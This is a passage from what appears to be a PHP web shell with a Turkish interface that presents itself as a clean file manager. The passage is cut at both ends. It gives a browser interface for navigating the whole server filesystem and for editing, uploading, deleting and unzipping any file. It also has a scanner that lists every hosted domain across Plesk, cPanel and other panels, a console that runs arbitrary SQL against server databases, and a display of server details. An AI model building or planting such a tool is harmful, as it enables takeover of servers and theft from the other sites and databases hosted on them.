        .btn {
            padding: 8px 16px;
            border: none;
            border-radius: 8px;
            cursor: pointer;
            font-size: 13px;
            font-weight: 600;
            transition: all 0.3s;
            display: inline-flex;
            align-items: center;
            gap: 5px;
            text-decoration: none;
            color: white;
        }

        .btn-primary { background: linear-gradient(135deg, var(--primary-color), #9333ea); }
        .btn-primary:hover { box-shadow: 0 4px 15px rgba(120, 0, 255, 0.3); transform: translateY(-1px); }
        .btn-success { background: linear-gradient(135deg, var(--success-color), #059669); }
        .btn-success:hover { box-shadow: 0 4px 15px rgba(16, 185, 129, 0.3); transform: translateY(-1px); }
        .btn-danger { background: linear-gradient(135deg, var(--error-color), #dc2626); }
        .btn-danger:hover { box-shadow: 0 4px 15px rgba(239, 68, 68, 0.3); transform: translateY(-1px); }
        .btn-warning { background: linear-gradient(135deg, var(--warning-color), #d97706); }
        .btn-warning:hover { box-shadow: 0 4px 15px rgba(245, 158, 11, 0.3); transform: translateY(-1px); }
        .btn-info { background: linear-gradient(135deg, var(--info-color), #2563eb); }
        .btn-info:hover { box-shadow: 0 4px 15px rgba(59, 130, 246, 0.3); transform: translateY(-1px); }
        .btn-secondary { background: rgba(100, 100, 130, 0.3); border: 1px solid rgba(100, 100, 130, 0.3); }
        .btn-secondary:hover { background: rgba(100, 100, 130, 0.5); }
        .btn-sm { padding: 5px 10px; font-size: 12px; }

        /* Tables */
        .file-table {
            width: 100%;
            border-collapse: collapse;
            font-size: 13px;
        }

        .file-table th {
            background: rgba(120, 0, 255, 0.1);
            padding: 10px 12px;
            text-align: left;
            font-weight: 600;
            color: var(--text-secondary);
            border-bottom: 1px solid var(--border-color);
            white-space: nowrap;
        }

        .file-table td {
            padding: 8px 12px;
            border-bottom: 1px solid rgba(120, 0, 255, 0.05);
            vertical-align: middle;
        }

        .file-table tr:hover { background: rgba(120, 0, 255, 0.05); }

        .file-name {
            display: inline-flex;
            align-items: center;
            gap: 8px;
            color: var(--text-primary);
            text-decoration: none;
            transition: color 0.2s;
        }

        .file-name:hover { color: var(--secondary-color); }
        .file-icon { font-size: 16px; }

        .file-actions { display: flex; gap: 8px; flex-wrap: wrap; margin-bottom: 15px; }
        .file-actions-cell { display: flex; gap: 4px; flex-wrap: wrap; }

        .copy-name-btn {
            background: none;
            border: none;
            cursor: pointer;
            font-size: 12px;
            opacity: 0.4;
            transition: all 0.2s;
            padding: 2px 4px;
            border-radius: 4px;
            vertical-align: middle;
        }
        .copy-name-btn:hover { opacity: 1; background: rgba(120,0,255,0.1); }
        .copy-name-btn.copied { opacity: 1; color: var(--success-color); }

        /* Forms */
        .form-group { margin-bottom: 15px; }
        .form-label { display: block; margin-bottom: 6px; color: var(--text-secondary); font-size: 13px; font-weight: 600; }

        .form-control {
            width: 100%;
            padding: 10px 14px;
            background: rgba(15, 15, 35, 0.8);
            border: 1px solid var(--border-color);
            color: var(--text-primary);
            border-radius: 8px;
            font-size: 13px;
            transition: border-color 0.3s;
            font-family: inherit;
        }

        .form-control:focus { outline: none; border-color: var(--primary-color); box-shadow: 0 0 10px rgba(120, 0, 255, 0.1); }
        textarea.form-control { resize: vertical; min-height: 100px; font-family: 'Courier New', monospace; }

        /* Alerts */
        .alert {
            padding: 12px 18px;
            border-radius: 10px;
            margin-bottom: 15px;
            display: flex;
            align-items: center;
            gap: 10px;
            font-size: 13px;
            animation: fadeIn 0.3s ease;
        }

        .alert-success { background: rgba(16, 185, 129, 0.1); border: 1px solid rgba(16, 185, 129, 0.3); color: var(--success-color); }
        .alert-error { background: rgba(239, 68, 68, 0.1); border: 1px solid rgba(239, 68, 68, 0.3); color: var(--error-color); }
        .alert-info { background: rgba(59, 130, 246, 0.1); border: 1px solid rgba(59, 130, 246, 0.3); color: var(--info-color); }
        .alert-warning { background: rgba(245, 158, 11, 0.1); border: 1px solid rgba(245, 158, 11, 0.3); color: var(--warning-color); }

        /* Modals */
        .modal {
            display: none;
            position: fixed;
            top: 0; left: 0;
            width: 100%; height: 100%;
            background: rgba(0, 0, 0, 0.7);
            z-index: 1000;
            align-items: center;
            justify-content: center;
            backdrop-filter: blur(5px);
        }

        .modal.active { display: flex; }

        .modal-content {
            background: var(--card-bg);
            border-radius: 16px;
            padding: 30px;
            width: 90%;
            max-width: 700px;
            max-height: 90vh;
            overflow-y: auto;
            border: 1px solid var(--border-color);
            box-shadow: 0 25px 60px rgba(0, 0, 0, 0.5);
        }

        .modal-header {
            display: flex;
            align-items: center;
            justify-content: space-between;
            margin-bottom: 20px;
            padding-bottom: 15px;
            border-bottom: 1px solid var(--border-color);
        }

        .modal-title {
            font-size: 18px;
            background: linear-gradient(135deg, var(--primary-color), var(--secondary-color));
            -webkit-background-clip: text;
            -webkit-text-fill-color: transparent;
            font-weight: 700;
        }

        .modal-close {
            background: none;
            border: none;
            color: var(--text-secondary);
            font-size: 24px;
            cursor: pointer;
            transition: color 0.2s;
            padding: 0 5px;
        }

        .modal-close:hover { color: var(--error-color); }

        /* Loading */
        .loading { display: none; text-align: center; padding: 30px; }
        .loading.active { display: block; }

        .spinner {
            width: 40px; height: 40px;
            border: 3px solid var(--border-color);
            border-top: 3px solid var(--primary-color);
            border-radius: 50%;
            animation: spin 0.8s linear infinite;
            margin: 0 auto 15px;
        }

        @keyframes spin { to { transform: rotate(360deg); } }

        /* Info Grid */
        .info-grid {
            display: grid;
            grid-template-columns: repeat(auto-fill, minmax(280px, 1fr));
            gap: 12px;
        }

        .info-item {
            background: rgba(10, 10, 26, 0.5);
            padding: 12px 16px;
            border-radius: 10px;
            border: 1px solid var(--border-color);
        }

        .info-label { font-size: 11px; color: var(--text-secondary); text-transform: uppercase; margin-bottom: 4px; font-weight: 600; }
        .info-value { font-size: 14px; color: var(--text-primary); word-break: break-all; }

        /* Result boxes */
        .result-box { background: rgba(10, 10, 26, 0.5); padding: 15px; border-radius: 10px; border: 1px solid var(--border-color); }
        .result-item { padding: 10px 15px; border-radius: 8px; margin-bottom: 8px; font-size: 13px; }
        .result-success { background: rgba(16, 185, 129, 0.1); border: 1px solid rgba(16, 185, 129, 0.2); color: var(--success-color); }
        .result-error { background: rgba(239, 68, 68, 0.1); border: 1px solid rgba(239, 68, 68, 0.2); color: var(--error-color); }

        /* Domain Finder Specific */
        .domain-card {
            background: rgba(10, 10, 26, 0.5);
            border: 1px solid var(--border-color);
            border-radius: 12px;
            padding: 15px 20px;
            margin-bottom: 10px;
            display: flex;
            align-items: center;
            justify-content: space-between;
            gap: 15px;
            transition: all 0.3s;
        }

        .domain-card:hover {
            border-color: var(--primary-color);
            background: rgba(120, 0, 255, 0.05);
        }

        .domain-info { flex: 1; min-width: 0; }

        .domain-name {
            font-size: 16px;
            font-weight: 700;
            color: var(--text-primary);
            margin-bottom: 4px;
        }

        .domain-path {
            font-size: 12px;
            color: var(--text-secondary);
            word-break: break-all;
            font-family: 'Courier New', monospace;
        }

        .domain-badge {
            display: inline-block;
            padding: 2px 8px;
            border-radius: 6px;
            font-size: 10px;
            font-weight: 700;
            text-transform: uppercase;
            letter-spacing: 0.5px;
        }

        .badge-plesk { background: rgba(59, 130, 246, 0.15); color: #60a5fa; border: 1px solid rgba(59, 130, 246, 0.3); }
        .badge-cpanel { background: rgba(245, 158, 11, 0.15); color: #fbbf24; border: 1px solid rgba(245, 158, 11, 0.3); }
        .badge-directadmin { background: rgba(16, 185, 129, 0.15); color: #34d399; border: 1px solid rgba(16, 185, 129, 0.3); }
        .badge-nginx { background: rgba(120, 0, 255, 0.15); color: #a78bfa; border: 1px solid rgba(120, 0, 255, 0.3); }
        .badge-apache { background: rgba(236, 72, 153, 0.15); color: #f472b6; border: 1px solid rgba(236, 72, 153, 0.3); }
        .badge-other { background: rgba(100, 100, 130, 0.15); color: #94a3b8; border: 1px solid rgba(100, 100, 130, 0.3); }

        .domain-actions { display: flex; gap: 6px; flex-shrink: 0; flex-wrap: wrap; }

        .domain-stats {
            display: flex;
            gap: 15px;
            margin-bottom: 20px;
            flex-wrap: wrap;
        }

        .stat-card {
            background: rgba(10, 10, 26, 0.5);
            border: 1px solid var(--border-color);
            border-radius: 12px;
            padding: 15px 25px;
            text-align: center;
            min-width: 120px;
        }

        .stat-number {
            font-size: 28px;
            font-weight: 800;
            background: linear-gradient(135deg, var(--primary-color), var(--secondary-color));
            -webkit-background-clip: text;
            -webkit-text-fill-color: transparent;
        }

        .stat-label { font-size: 11px; color: var(--text-secondary); text-transform: uppercase; margin-top: 4px; }

        .domain-search {
            width: 100%;
            padding: 10px 16px;
            background: rgba(15, 15, 35, 0.8);
            border: 1px solid var(--border-color);
            color: var(--text-primary);
            border-radius: 10px;
            font-size: 14px;
            margin-bottom: 15px;
        }

        .domain-search:focus { outline: none; border-color: var(--primary-color); }

        /* Footer */
        .footer {
            text-align: center;
            padding: 20px;
            color: var(--text-secondary);
            font-size: 12px;
            border-top: 1px solid var(--border-color);
            margin-top: 30px;
        }

        /* Responsive */
        @media (max-width: 768px) {
            .header { flex-direction: column; gap: 10px; padding: 12px 15px; }
            .container { padding: 0 10px; }
            .tabs { padding: 5px; }
            .tab-btn { padding: 8px 12px; font-size: 12px; }
            .card { padding: 15px; }
            .domain-card { flex-direction: column; align-items: flex-start; }
            .domain-actions { width: 100%; }
            .file-actions-cell { flex-direction: column; }
        }
    </style>
</head>
<body>
    <!-- Header -->
    <div class="header">
        <div class="header-left">
            <h1>&#128193; <?php echo APP_NAME; ?></h1>
            <span style="color: var(--text-secondary); font-size: 12px;">v<?php echo APP_VERSION; ?></span>
        </div>
        <div class="header-right">
            <span>&#128187; <?php echo htmlspecialchars($system_info['server_ip']); ?></span>
            <span>&#128100; <?php echo htmlspecialchars($system_info['current_user']); ?></span>
            <span>PHP <?php echo $system_info['php_version']; ?></span>
            <a href="?logout=1">Cikis Yap</a>
        </div>
    </div>

    <!-- Main Container -->
    <div class="container">
        <!-- Tabs Navigation -->
        <div class="tabs">
            <button class="tab-btn active" onclick="switchTab('file-manager', this)">
                <span>&#128193;</span> Dosya Yoneticisi
            </button>
            <button class="tab-btn" onclick="switchTab('domain-finder', this)">
                <span>&#127760;</span> Domain Bulucu
            </button>
            <button class="tab-btn" onclick="switchTab('db-manager', this)">
                <span>&#128452;</span> DB Manager
            </button>
            <button class="tab-btn" onclick="switchTab('system-info', this)">
                <span>&#8505;</span> Sistem Bilgisi
            </button>
        </div>

        <!-- File Manager Tab -->
        <div id="file-manager" class="tab-content active">
            <div class="card">
                <div class="card-header">
                    <h2 class="card-title">&#128193; Dosya Yoneticisi</h2>
                </div>

                <!-- Breadcrumb -->
                <div class="breadcrumb">
                    <strong>&#128194; Dizin:</strong>
                    <?php
                    $path_parts = explode(DIRECTORY_SEPARATOR, trim($current_dir, DIRECTORY_SEPARATOR));
                    $cum_path = '';
                    echo '<div id="breadcrumb-paths">';
                    echo '<a href="?dir=' . urlencode('/') . '">/</a>';
                    foreach ($path_parts as $part) {
                        if ($part) {
                            $cum_path .= DIRECTORY_SEPARATOR . $part;
                            echo ' / <a href="?dir=' . urlencode($cum_path) . '">' . htmlspecialchars($part) . '</a>';
                        }
                    }
                    echo '</div>';
                    ?>
                    <input type="text" id="dir-input" placeholder="Dizin yolu girin..." value="<?php echo htmlspecialchars($current_dir); ?>">
                    <button class="btn btn-primary btn-sm" onclick="changeDirectory()">Git</button>
                </div>

                <!-- File Actions -->
                <div class="file-actions">
                    <button class="btn btn-primary btn-sm" onclick="showModal('createFileModal')">
                        <span>&#128196;</span> Yeni Dosya
                    </button>
                    <button class="btn btn-primary btn-sm" onclick="showModal('createFolderModal')">
                        <span>&#128193;</span> Yeni Klasor
                    </button>
                    <button class="btn btn-info btn-sm" onclick="showModal('uploadModal')">
                        <span>&#11014;</span> Dosya Yukle
                    </button>
                    <button class="btn btn-secondary btn-sm" onclick="location.reload()">
                        <span>&#128260;</span> Yenile
                    </button>
                </div>

                <!-- Files Table -->
                <div style="overflow-x: auto;">
                    <table class="file-table">
                        <thead>
                            <tr>
                                <th>Isim</th>
                                <th>Boyut</th>
                                <th>Izinler</th>
                                <th>Degistirilme</th>
                                <th>Islemler</th>
                            </tr>
                        </thead>
                        <tbody>
                            <?php if (dirname($current_dir) !== $current_dir): ?>
                            <tr>
                                <td>
                                    <a href="?dir=<?php echo urlencode(dirname($current_dir)); ?>" class="file-name">
                                        <span class="file-icon">&#11014;</span>
                                        <span>..</span>
                                    </a>
                                </td>
                                <td>-</td>
                                <td>-</td>
                                <td>-</td>
                                <td>-</td>
                            </tr>
                            <?php endif; ?>

                            <?php foreach ($files as $file): ?>
                            <tr>
                                <td>
                                    <?php if ($file['is_dir']): ?>
                                        <a href="?dir=<?php echo urlencode($file['path']); ?>" class="file-name">
                                            <span class="file-icon"><?php echo $file['icon']; ?></span>
                                            <span><?php echo htmlspecialchars($file['name']); ?></span>
                                        </a>
                                        <button class="copy-name-btn" onclick="copyFileName(this, '<?php echo addslashes($file['name']); ?>')" title="Ismi kopyala">&#128203;</button>
                                    <?php else: ?>
                                        <span class="file-name" onclick="editFile('<?php echo addslashes($file['path']); ?>', '<?php echo addslashes($file['name']); ?>')" style="cursor: pointer;">
                                            <span class="file-icon"><?php echo $file['icon']; ?></span>
                                            <span><?php echo htmlspecialchars($file['name']); ?></span>
                                        </span>
                                        <button class="copy-name-btn" onclick="copyFileName(this, '<?php echo addslashes($file['name']); ?>')" title="Ismi kopyala">&#128203;</button>
                                    <?php endif; ?>
                                </td>
                                <td><?php echo $file['formatted_size']; ?></td>
                                <td><?php echo $file['permissions']; ?></td>
                                <td><?php echo $file['modified']; ?></td>
                                <td>
                                    <div class="file-actions-cell">
                                        <?php if (!$file['is_dir']): ?>
                                            <button class="btn btn-info btn-sm" onclick="editFile('<?php echo addslashes($file['path']); ?>', '<?php echo addslashes($file['name']); ?>')">
                                                &#9998; Duzenle
                                            </button>
                                            <a href="?action=file_operation&operation=download&filepath=<?php echo urlencode($file['path']); ?>" class="btn btn-success btn-sm">
                                                &#11015; Indir
                                            </a>
                                            <button class="btn btn-secondary btn-sm" onclick="openInBrowser('<?php echo addslashes($file['path']); ?>')" title="Tarayicida Ac">
                                                &#127760; Ac
                                            </button>
                                        <?php endif; ?>
                                        <button class="btn btn-warning btn-sm" onclick="zipItem('<?php echo addslashes($file['path']); ?>')">
                                            &#128230; ZIP
                                        </button>
                                        <?php if (!$file['is_dir'] && strtolower(pathinfo($file['name'], PATHINFO_EXTENSION)) === 'zip'): ?>
                                            <button class="btn btn-info btn-sm" onclick="unzipFile('<?php echo addslashes($file['path']); ?>')">
                                                &#128194; Unzip
                                            </button>
                                        <?php endif; ?>
                                        <button class="btn btn-danger btn-sm" onclick="deleteItem('<?php echo addslashes($file['path']); ?>', '<?php echo addslashes($file['name']); ?>')">
                                            &#128465; Sil
                                        </button>
                                    </div>
                                </td>
                            </tr>
                            <?php endforeach; ?>
                        </tbody>
                    </table>
                </div>
            </div>
        </div>

        <!-- Domain Finder Tab -->
        <div id="domain-finder" class="tab-content">
            <div class="card">
                <div class="card-header">
                    <h2 class="card-title">&#127760; Domain Bulucu</h2>
                </div>
                <div class="alert alert-info">
                    <span>&#8505;</span>
                    <div>
                        Sunucudaki tum domainleri otomatik olarak bulur. Desteklenen paneller: <strong>Plesk, cPanel, DirectAdmin, CyberPanel, Apache, Nginx</strong>
                    </div>
                </div>
                <div style="margin-bottom: 20px;">
                    <button class="btn btn-primary" onclick="scanDomains()" id="scan-domains-btn">
                        <span>&#128269;</span> Domainleri Tara
                    </button>
                </div>
                <div id="domain-loading" class="loading">
                    <div class="spinner"></div>
                    <p>Domainler taraniyor, lutfen bekleyin...</p>
                </div>
                <div id="domain-results" style="display: none;">
                    <div class="domain-stats" id="domain-stats"></div>
                    <input type="text" class="domain-search" id="domain-search" placeholder="&#128269; Domain ara..." oninput="filterDomains()">
                    <div id="domain-list"></div>
                </div>
            </div>
        </div>

        <!-- DB Manager Tab -->
        <div id="db-manager" class="tab-content">
            <div class="card">
                <div class="card-header">
                    <h2 class="card-title">&#128452; Veritabani Yoneticisi</h2>
                </div>
                <div class="alert alert-info">
                    <span>&#8505;</span>
                    <div>Sunucudaki veritabanlarina dogrudan baglanip SQL sorgulari calistirabilirsiniz.</div>
                </div>
                <form id="dbForm" onsubmit="executeSQL(event)">
                    <div style="display:grid; grid-template-columns:1fr 1fr; gap:15px; margin-bottom:15px;">
                        <div class="form-group" style="margin-bottom:0">
                            <label class="form-label">Host</label>
                            <input type="text" name="db_host" class="form-control" placeholder="localhost" value="localhost">
                        </div>
                        <div class="form-group" style="margin-bottom:0">
                            <label class="form-label">Database Adi *</label>
                            <input type="text" name="db_name" class="form-control" placeholder="veritabani_adi" required>
                        </div>
                        <div class="form-group" style="margin-bottom:0">
                            <label class="form-label">Kullanici Adi *</label>
                            <input type="text" name="db_user" class="form-control" placeholder="root" required>
                        </div>
                        <div class="form-group" style="margin-bottom:0">
                            <label class="form-label">Sifre</label>
                            <input type="password" name="db_pass" class="form-control" placeholder="veritabani sifresi">
                        </div>
                    </div>
                    <div class="form-group">
                        <label class="form-label">SQL Sorgusu *</label>
                        <textarea name="sql_query" class="form-control" rows="5" placeholder="SELECT * FROM users LIMIT 10;" required></textarea>
                    </div>
                    <button type="submit" class="btn btn-warning">
                        <span>&#9889;</span> SQL Sorgusunu Calistir
                    </button>
                </form>
                <div id="db-loading" class="loading">
                    <div class="spinner"></div>
                    <p>Sorgu calistiriliyor...</p>
                </div>
                <div id="db-result" class="result-box" style="display:none; margin-top:20px; overflow-x:auto;"></div>
            </div>
        </div>

        <!-- System Info Tab -->
        <div id="system-info" class="tab-content">
            <div class="card">
                <div class="card-header">
                    <h2 class="card-title">&#8505; Sistem Bilgisi</h2>
                </div>
                <div class="info-grid">
                    <?php foreach ($system_info as $key => $value): ?>
                    <div class="info-item">
                        <div class="info-label"><?php echo htmlspecialchars(ucwords(str_replace('_', ' ', $key))); ?></div>
                        <div class="info-value"><?php echo htmlspecialchars($value); ?></div>
                    </div>
                    <?php endforeach; ?>
                </div>
            </div>
        </div>
    </div>

    <!-- Footer -->
    <div class="footer">
        <p>&copy; <?php echo date('Y'); ?> <?php echo APP_NAME; ?> v<?php echo APP_VERSION; ?> - Temiz Dosya Yonetim Araci</p>
    </div>

    <!-- Modals -->
    <!-- Create File Modal -->
    <div id="createFileModal" class="modal">
        <div class="modal-content">
            <div class="modal-header">
                <h3 class="modal-title">&#128196; Yeni Dosya Olustur</h3>
                <button class="modal-close" onclick="closeModal('createFileModal')">&times;</button>
            </div>
            <form id="createFileForm" onsubmit="handleCreateFile(event)">
                <div class="form-group">
                    <label class="form-label">Dosya Adi *</label>
                    <input type="text" name="filename" class="form-control" placeholder="ornek.txt" required>
                </div>
                <div class="form-group">
                    <label class="form-label">Icerik (istege bagli)</label>
                    <textarea name="content" class="form-control" rows="10" placeholder="Dosya icerigi..."></textarea>
                </div>
                <button type="submit" class="btn btn-primary">
                    Dosya Olustur
                </button>
            </form>
        </div>
    </div>

    <!-- Create Folder Modal -->
    <div id="createFolderModal" class="modal">
        <div class="modal-content">
            <div class="modal-header">
                <h3 class="modal-title">&#128193; Yeni Klasor Olustur</h3>
                <button class="modal-close" onclick="closeModal('createFolderModal')">&times;</button>
            </div>
            <form id="createFolderForm" onsubmit="handleCreateFolder(event)">
                <div class="form-group">
                    <label class="form-label">Klasor Adi *</label>
                    <input type="text" name="foldername" class="form-control" placeholder="yeni-klasor" required>
                </div>
                <button type="submit" class="btn btn-primary">
                    Klasor Olustur
                </button>
            </form>
        </div>
    </div>

    <!-- Upload Modal -->
    <div id="uploadModal" class="modal">
        <div class="modal-content">
            <div class="modal-header">
                <h3 class="modal-title">&#11014; Dosya Yukle</h3>
                <button class="modal-close" onclick="closeModal('uploadModal')">&times;</button>
            </div>
            <form id="uploadForm" onsubmit="handleUpload(event)" enctype="multipart/form-data">
                <div class="form-group">
                    <label class="form-label">Dosya Sec * (Maks: <?php echo formatSize(MAX_UPLOAD_SIZE); ?>)</label>
                    <input type="file" name="upload_file" class="form-control" required>
                </div>
                <button type="submit" class="btn btn-info">
                    Yukle
                </button>
            </form>
        </div>
    </div>

    <!-- Edit File Modal -->
    <div id="editFileModal" class="modal">
        <div class="modal-content" style="max-width: 900px;">
            <div class="modal-header">
                <h3 class="modal-title">&#9998; Dosya Duzenle: <span id="edit-filename"></span></h3>
                <button class="modal-close" onclick="closeModal('editFileModal')">&times;</button>
            </div>
            <form id="editFileForm" onsubmit="handleEditFile(event)">
                <input type="hidden" name="filepath" id="edit-filepath">
                <div class="form-group">
                    <textarea name="content" id="edit-content" class="form-control" rows="25" style="font-family: 'Courier New', monospace; font-size: 13px; tab-size: 4;"></textarea>
                </div>
                <div style="display: flex; gap: 10px;">
                    <button type="submit" class="btn btn-primary">
                        Kaydet (Ctrl+S)
                    </button>
                    <button type="button" class="btn btn-secondary" onclick="closeModal('editFileModal')">
                        Iptal
                    </button>
                </div>
            </form>
        </div>
    </div>

<!-- JavaScript -->
<script>
    // ==================== TAB SWITCHING ====================
    function switchTab(tabId, btn) {
        document.querySelectorAll('.tab-content').forEach(tab => tab.classList.remove('active'));
        document.querySelectorAll('.tab-btn').forEach(b => b.classList.remove('active'));
        document.getElementById(tabId).classList.add('active');
        btn.classList.add('active');
    }

    // ==================== DIRECTORY CHANGE ====================
    function changeDirectory() {
        const newDir = document.getElementById('dir-input').value.trim();
        if (!newDir) { alert('Lutfen bir dizin yolu girin.'); return; }

        const formData = new FormData();
        formData.append('action', 'change_directory');
        formData.append('directory', newDir);

        fetch('', {method: 'POST', body: formData})
        .then(r => r.json())
        .then(data => {
            if (data.status) {
                location.href = '?dir=' + encodeURIComponent(data.current_dir);
            } else {
                showAlert(data.message, 'error');
            }
        })
        .catch(err => showAlert('Hata: ' + err.message, 'error'));
    }

    // ==================== MODAL FUNCTIONS ====================
    function showModal(modalId) { document.getElementById(modalId).classList.add('active'); }
    function closeModal(modalId) { document.getElementById(modalId).classList.remove('active'); }

    window.onclick = function(event) {
        if (event.target.classList.contains('modal')) {
            event.target.classList.remove('active');
        }
    }

    // ==================== ALERT ====================
    function showAlert(message, type) {
        type = type || 'info';
        const alertDiv = document.createElement('div');
        alertDiv.className = 'alert alert-' + type;
        var icons = { 'success': '&#9989;', 'error': '&#10060;', 'warning': '&#9888;', 'info': '&#8505;' };
        alertDiv.innerHTML = '<span>' + (icons[type] || '&#8505;') + '</span><div>' + message + '</div>';
        var container = document.querySelector('.container');
        container.insertBefore(alertDiv, container.firstChild);
        setTimeout(function() { alertDiv.remove(); }, 5000);
    }

    // ==================== FILE OPERATIONS ====================
    function handleCreateFile(event) {
        event.preventDefault();
        const formData = new FormData(event.target);
        formData.append('action', 'file_operation');
        formData.append('operation', 'create_file');

        fetch('', {method: 'POST', body: formData})
        .then(r => r.json())
        .then(data => {
            showAlert(data.message, data.status ? 'success' : 'error');
            if (data.status) { closeModal('createFileModal'); setTimeout(function() { location.reload(); }, 500); }
        })
        .catch(err => showAlert('Hata: ' + err.message, 'error'));
    }

    function handleCreateFolder(event) {
        event.preventDefault();
        const formData = new FormData(event.target);
        formData.append('action', 'file_operation');
        formData.append('operation', 'create_folder');

        fetch('', {method: 'POST', body: formData})
        .then(r => r.json())
        .then(data => {
            showAlert(data.message, data.status ? 'success' : 'error');
            if (data.status) { closeModal('createFolderModal'); setTimeout(function() { location.reload(); }, 500); }
        })
        .catch(err => showAlert('Hata: ' + err.message, 'error'));
    }

    function handleUpload(event) {
        event.preventDefault();
        const formData = new FormData(event.target);
        formData.append('action', 'file_operation');
        formData.append('operation', 'upload');

        fetch('', {method: 'POST', body: formData})
        .then(r => r.json())
        .then(data => {
            showAlert(data.message, data.status ? 'success' : 'error');
            if (data.status) { closeModal('uploadModal'); setTimeout(function() { location.reload(); }, 500); }
        })
        .catch(err => showAlert('Hata: ' + err.message, 'error'));
    }

    function openInBrowser(filepath) {
        // Dosya yolunu web URL'sine cevir
        // Bilinen document root pattern'leri
        var webRoots = [
            {path: '/httpdocs/', after: true},
            {path: '/public_html/', after: true},
            {path: '/htdocs/', after: true},
            {path: '/html/', after: true},
            {path: '/www/', after: true},
            {path: '/web/', after: true},
            {path: '/wwwroot/', after: true}
        ];
        var relativePath = '';
        var found = false;
        for (var i = 0; i < webRoots.length; i++) {
            var idx = filepath.indexOf(webRoots[i].path);
            if (idx !== -1) {
                relativePath = filepath.substring(idx + webRoots[i].path.length);
                found = true;
                break;
            }
        }
        if (!found) {
            // Document root'tan itibaren dene
            var docRoot = <?php echo json_encode(isset($_SERVER['DOCUMENT_ROOT']) ? rtrim($_SERVER['DOCUMENT_ROOT'], '/') : ''); ?>;
            if (docRoot && filepath.indexOf(docRoot) === 0) {
                relativePath = filepath.substring(docRoot.length);
            } else {
                showAlert('Bu dosyanin web URL\'si belirlenemedi. Dosya web dizini disinda olabilir.', 'warning');
                return;
            }
        }
        // Hangi domain'e ait oldugunu bulmaya calis
        var domain = window.location.hostname;
        // /var/www/vhosts/DOMAIN/httpdocs/ pattern'i icin
        var vhostMatch = filepath.match(/\/var\/www\/vhosts\/([^\/]+)\//);
        if (vhostMatch) {
            domain = vhostMatch[1];
        }
        // /home/DOMAIN/public_html/ pattern'i icin
        var homeMatch = filepath.match(/\/home\/([^\/]+)\/public_html\//);
        if (homeMatch && homeMatch[1].indexOf('.') !== -1) {
            domain = homeMatch[1];
        }
        var url = '//' + domain + '/' + relativePath.replace(/^\//, '');
        window.open(url, '_blank');
    }

    function editFile(filepath, filename) {
        document.getElementById('edit-filename').textContent = filename;
        document.getElementById('edit-filepath').value = filepath;
        document.getElementById('edit-content').value = 'Yukleniyor...';
        showModal('editFileModal');

        const formData = new FormData();
        formData.append('action', 'get_file_content');
        formData.append('filepath', filepath);

        fetch('', {method: 'POST', body: formData})
        .then(r => r.json())
        .then(data => {
            if (data.status) {
                document.getElementById('edit-content').value = data.content;
            } else {
                document.getElementById('edit-content').value = 'Hata: ' + data.message;
            }
        })
        .catch(err => {
            document.getElementById('edit-content').value = 'Hata: ' + err.message;
        });
    }

    function handleEditFile(event) {
        event.preventDefault();
        const formData = new FormData(event.target);
        formData.append('action', 'file_operation');
        formData.append('operation', 'edit_file');

        fetch('', {method: 'POST', body: formData})
        .then(r => r.json())
        .then(data => {
            showAlert(data.message, data.status ? 'success' : 'error');
            if (data.status) { closeModal('editFileModal'); }
        })
        .catch(err => showAlert('Hata: ' + err.message, 'error'));
    }

    function deleteItem(filepath, filename) {
        if (!confirm(filename + ' silinsin mi? Bu islem geri alinamaz!')) return;

        const formData = new FormData();
        formData.append('action', 'file_operation');
        formData.append('operation', 'delete_item');
        formData.append('filepath', filepath);

        fetch('', {method: 'POST', body: formData})
        .then(r => r.json())
        .then(data => {
            showAlert(data.message, data.status ? 'success' : 'error');
            if (data.status) setTimeout(function() { location.reload(); }, 500);
        })
        .catch(err => showAlert('Hata: ' + err.message, 'error'));
    }

    function zipItem(filepath) {
        const formData = new FormData();
        formData.append('action', 'file_operation');
        formData.append('operation', 'zip_item');
        formData.append('filepath', filepath);

        showAlert('ZIP olusturuluyor...', 'info');

        fetch('', {method: 'POST', body: formData})
        .then(r => r.json())
        .then(data => {
            showAlert(data.message, data.status ? 'success' : 'error');
            if (data.status) setTimeout(function() { location.reload(); }, 1000);
        })
        .catch(err => showAlert('Hata: ' + err.message, 'error'));
    }

    function unzipFile(filepath) {
        const formData = new FormData();
        formData.append('action', 'file_operation');
        formData.append('operation', 'unzip_file');
        formData.append('filepath', filepath);

        showAlert('ZIP aciliyor...', 'info');

        fetch('', {method: 'POST', body: formData})
        .then(r => r.json())
        .then(data => {
            showAlert(data.message, data.status ? 'success' : 'error');
            if (data.status) setTimeout(function() { location.reload(); }, 1000);
        })
        .catch(err => showAlert('Hata: ' + err.message, 'error'));
    }

    function copyFileName(btn, name) {
        if (navigator.clipboard && navigator.clipboard.writeText) {
            navigator.clipboard.writeText(name).then(function() {
                btn.classList.add('copied');
                btn.innerHTML = '&#10003;';
                setTimeout(function() { btn.classList.remove('copied'); btn.innerHTML = '&#128203;'; }, 1500);
            });
        } else {
            var ta = document.createElement('textarea');
            ta.value = name;
            ta.style.position = 'fixed';
            ta.style.opacity = '0';
            document.body.appendChild(ta);
            ta.select();
            document.execCommand('copy');
            document.body.removeChild(ta);
            btn.classList.add('copied');
            btn.innerHTML = '&#10003;';
            setTimeout(function() { btn.classList.remove('copied'); btn.innerHTML = '&#128203;'; }, 1500);
        }
    }

    // ==================== DOMAIN FINDER ====================
    var allDomains = [];

    function scanDomains() {
        var btn = document.getElementById('scan-domains-btn');
        btn.disabled = true;
        btn.innerHTML = '<span>&#8987;</span> Taraniyor...';

        document.getElementById('domain-loading').classList.add('active');
        document.getElementById('domain-results').style.display = 'none';

        var formData = new FormData();
        formData.append('action', 'find_domains');

        fetch('', {method: 'POST', body: formData})
        .then(function(r) { return r.json(); })
        .then(function(data) {
            document.getElementById('domain-loading').classList.remove('active');
            btn.disabled = false;
            btn.innerHTML = '<span>&#128269;</span> Domainleri Tara';

            if (data.status) {
                allDomains = data.domains;

                // Stats
                var panelCounts = {};
                data.domains.forEach(function(d) {
                    var p = d.panel.split(' ')[0];
                    panelCounts[p] = (panelCounts[p] || 0) + 1;
                });

                var statsHtml = '<div class="stat-card"><div class="stat-number">' + data.count + '</div><div class="stat-label">Toplam Domain</div></div>';
                statsHtml += '<div class="stat-card"><div class="stat-number">' + data.panel + '</div><div class="stat-label">Panel</div></div>';

                for (var panel in panelCounts) {
                    statsHtml += '<div class="stat-card"><div class="stat-number">' + panelCounts[panel] + '</div><div class="stat-label">' + panel + '</div></div>';
                }

                document.getElementById('domain-stats').innerHTML = statsHtml;
                document.getElementById('domain-results').style.display = 'block';

                renderDomains(data.domains);

